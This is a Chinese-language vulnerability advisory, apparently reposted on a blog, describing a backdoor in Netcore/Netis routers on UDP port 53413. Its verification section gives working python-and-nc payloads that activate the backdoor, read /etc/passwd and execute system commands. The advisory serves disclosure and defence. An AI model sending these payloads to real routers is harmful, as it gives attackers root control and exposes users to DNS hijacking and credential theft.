Netcore / Netis 路由器后门应急概要
1.更新情况
2.漏洞概要
2014年8月末，趋势科技在官网表示，由中国生产的一系列路由器（国内品牌名称为Netcore，国外品牌名称为Netis）含有一个严重的漏洞。攻击者可以通过此漏洞获取路由器权限。
2014年12月28日，微博上爆料Netcore的后门仍然存在（文章地址： http://www.weibo.com/p/1001603792736686871336 ）。
-
漏洞描述
Netcore系列路由器在/bin目录下存在一个名为igdmptd的程序，此程序会监听UDP端口53413端口：
之后调用operate_loop 进入事件循环，来接受连接并处理。通过连接53413端口，可以通过特定格式的报文来获取路由器上的文件信息，上传文件，甚至是执行系统命令。
-
漏洞影响
由于此端口暴露在公网，且此端口可以直接获得路由器的最高权限，所以危害极大。会造成DNS劫持、中间人攻击以及上网宽带的帐号密码泄漏等一系列影响。
-
漏洞验证
在Ubuntu系统上配置qemu-mipsel-static，运行从固件提取出的后门程序igdmptd，发现已经监听在udp端口53413上，且监听ip地址为0.0.0.0。
-
利用如下payload，我们可以激活后门的登录状态：
python -c "print 'A'*8 + 'netcore/x00'" | nc -u -vv 10.211.55.10 53413
-
利用如下payload，读取系统文件：
python -c "print 'AA/x00/x01AAAA/etc/passwd/x00'" | nc -u -vv 10.211.55.10 53413
-
利用如下payload，执行系统命令：
python -c "print 'AA/x00/x00AAAA ls/x00'" | nc -u -vv 10.211.55.10 53413
3.修复建议
升级官方的最新版本固件，如果仍然存在，建议更换路由器。
4.相关资源链接
1.知道创宇官网：http://www.knownsec.com/
2.知道创宇旗下 - ZoomEye官网：http://www.zoomeye.org/
3.知道创宇旗下 - 加速乐云防御平台官网：http://www.jiasule.com/
正文到此结束
热门推荐
相关文章
近期评论
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
搞个gitee的项目
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
